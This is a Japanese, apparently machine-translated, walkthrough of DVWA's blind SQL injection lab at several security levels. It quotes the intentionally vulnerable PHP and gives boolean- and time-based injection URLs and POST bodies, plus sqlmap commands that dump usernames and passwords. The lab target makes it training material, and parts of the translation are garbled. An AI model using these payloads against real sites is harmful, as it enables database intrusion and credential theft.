DVWA之SQLインジェクション(ブラインド)

DVWA之SQLインジェクション(ブラインド)

ソースコードを見ると、入力文字列にフィルタリングがないことがわかります

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    
    
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
    
    
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
    
    
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>
http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#

http://dvwa/vulnerabilities/sqli_blind/?id=1'&Submit=Submit#


ここでは、ステートメントが正しい場合は存在を返し、ステートメントが間違っている場合はMISSINGを返すことがわかります。したがって、ここではユニオンインジェクションを使用できません。ここでは、ブールブラインドインジェクションのみを使用できます。

数値注入か文字注入かを判別する

http://dvwa/vulnerabilities/sqli_blind/?id=1 and 1=1--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1 and 1=2--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1' and 1=1--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1' and 1=2--+&Submit=Submit# #MISSING

したがって、文字タイプの挿入として判断され
、現在のデータベースの長さを判断します

http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>10--+&Submit=Submit# #MISSING
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>5--+&Submit=Submit# #MISSING
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>3--+&Submit=Submit# #exists
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())>4--+&Submit=Submit# #MISSING
http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(database())=4--+&Submit=Submit# #exists

したがって、現在のデータベースの長さは4であると判断されます。

現在のデータベースの最初の文字を決定します

http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr(database(),1,1)='a'--+&Submit=Submit# #MISSING

1つずつ推測するのは面倒です。ここでは、ブルートフォースクラッキングのために直接burpsuiteに送信し

ます。現在のデータベースの最初の文字をdと決定します。この方法に従って、次の3文字をvwaと推測すると、現在のデータベースはdvwaになります。

dvwaライブラリの下にあるテーブルの数を確認します

http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select count(*) from information_schema.tables where table_schema=database())=1--+&Submit=Submit# #MISSING

引き続きburpsuiteを使用してブラストするため、dvwaの

下に2つのテーブルがあります

2つのテーブルの長さを決定します

http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1--+&Submit=Submit# #MISSING


この方法に従って、最初のテーブルの長さを9と判断し、2番目のテーブルの長さを5と推測します。

dvwaライブラリの下の最初のテーブルの最初の文字を判断する

http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'--+&Submit=Submit# #MINSSING


したがって、dvwaライブラリの下の最初のテーブルの最初の文字はdです。この方法によれば、最初のテーブルがゲストブックで、2番目のテーブルがユーザーであると推測します。

usersテーブルの下にあるフィールドの数を決定します

http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select count(*) from information_schema.columns where table_name='users' )=1--+&Submit=Submit# #MISSING


したがって、usersテーブルの下には14個のフィールドがあります

usersテーブルの下の最初のフィールドの長さを決定します

http://dvwa/vulnerabilities/sqli_blind/?id=1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1--+&Submit=Submit# #MISSING


したがって、usersテーブルの下の最初のフィールドの長さは7です。この方法に従って、すべてのロットの長さを順番に推測します。

usersテーブルの下の最初のフィールドの最初の文字を決定します

http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'--+&Submit=Submit# #MISSING


この方法に従って、すべてのフィールドを順番に推測します

ユーザーフィールドの下にある値の数を決定します

http://dvwa/vulnerabilities/sqli_blind/?id=1' and (select count(*) from users)=1--+&Submit=Submit# #MISSING


つまり、5つのフィールドがあります

ユーザーフィールドの最初の値の最初の文字を決定します

http://dvwa/vulnerabilities/sqli_blind/?id=1' and substr((select user from users limit 0,1),1,1)='a'--+&Submit=Submit# #exists


ユーザーフィールドの下の最初の値の最初の文字そうです。順番にユーザ名とパスワードフィールドの下にあるすべてのフィールドを推測するには、この方法に従ってください。

私たちは推測アカウントのパスワードを確認するためにアカウントとパスワードを選択してください。


ログインに成功する
1面倒すぎると思いますが、SQLインジェクションにSQLインジェクション自動化ツールsqlmapを使用することもできます
現在のライブラリを表示する

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" --dbs

-バッチ#自動化が完了しました
-cookie#ここからログインを開始する必要があるため、cookie情報を入力します。
したがって、cookie情報を入力する必要があります。-dbs現在のすべてのライブラリ

を表示して、次のすべてのデータベーステーブルを表示します。

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" -D dvwa --tables

-D dvwa --tables#dvwaの下のすべてのテーブルを表示

usersテーブルの下のすべてのフィールドを表示

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" -D dvwa -T users --columns

-D dvwa -T users --columns#dvwaライブラリの下のusersテーブルの下にあるすべてのフィールドを

表示するuserフィールドとpasswordフィールドの下にあるすべての値を表示する

python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --batch --cookie="pma_lang=zh_CN;pmaUser-1=%7B%22iv%22%3A%220kxTAaBzOmYYvvrnjxOoYQ%3D%3D%22%2C%22mac%22%3A%222894fb04af5526459b1b1f22d7f774f02a4fcd95%22%2C%22payload%22%3A%22Xx1lP0%5C%2Fprgs7AYEruV%5C%2FFCw%3D%3D%22%7D;challenge=5401acfe633e6817b508b84d23686743;uname=admin;PHPSESSID=8jae79grpj35jnsp4bu69gvlf7;security=low" -D dvwa -T users -C user,password --dump

-D dvwa -T users -C user、password --dump#dawaライブラリのusersテーブルの下にあるuserフィールドとpasswordフィールドのすべての値を表示します。

ここで、sqlmapは自動的に辞書を呼び出すか、手動で指定できます。自分で作成した辞書に自動的に復号化します

レベルを中間レベルに調整すると、1から5までの数字しか選択できず、ここに入力した数字はPOSTによってバックエンドに送信されるため、選択後にURLに送信したものが表示されないことがわかりました。 。ソースコードを見ると、IDがある程度処理されており、入力した一重引用符がエスケープされていることがわかります。したがって、ここでは数値またはワイドバイトのみを挿入できます。

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    
    
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
    
    
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
    
    
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

ここでは、ハックバーを使用してPOSTパケットを取得します

Submit=Submit&id=1 and 1=1--+ #exists
Submit=Submit&id=1 and 1=2--+ #MISSING

そのため、デジタルインジェクションと判断され、その後の方法は低レベルとまったく同じです。ここでは、実際にはブーレナブラインドである新しい方法であるタイムブラインドを紹介します。ここでは、デジタルインジェクションと判断しました。

Submit=Submit&id=1 and sleep(5)--+


ここでは、クエリを実行する前にページが5秒間スリープすることがわかります。この機能を利用できます。

現在のデータベースの長さを決定する

Submit=Submit&id=1 and if(length(database())=4,sleep(5),1)--+


この文は、現在のデータベースの長さが4であるかどうかを意味します。そうである場合、クエリは5秒間スリープし、そうでない場合は、クエリ1で、ページが5秒間スリープしていることがわかり、現在のデータベースであると判断します。データベースの長さは4です。

現在のデータベースの最初の文字を決定します

Submit=Submit&id=1 and if(ascii(substr(database(),1,1))=100,sleep(5),1) --+


ここでは一重引用符がエスケープされているため、文字をASCIIコードに変換して検索します。ページは5秒間スリープし、ASCIIコードテーブルを検索します。100に対応する文字はdであるため、現在のデータベースはdです。この方法に従って順番に検索し、現在のデータベースがdvwaであることを確認します。次のプロセスは基本的に低レベルに似ています。前にif判定条件を追加するだけです。自動挿入にsqlmapを使用することもできます。ここでは繰り返されません。

高い

ソースコードを見ると、IDを入力すると、自動的に別のページにジャンプし、SQLステートメントの後に制限関数が追加されることがわかります。

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    
    
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
    
    
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
    
    
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
    
    
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

注入のための自動ツールの使用を防ぐだけなので、低レベルとまったく同じです。#を直接使用して、背後にある制限機能をコメントアウトできます。具体的なプロセスは、低レベルによって異なります。

無理だよ

ソースコードを見ると、PDOテクノロジーが使用されているため、SQLインジェクションが排除されていることがわかります。

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    
    
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
    
    
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
    
    
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
    
    
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

おすすめ

転載: blog.csdn.net/kukudeshuo/article/details/115047848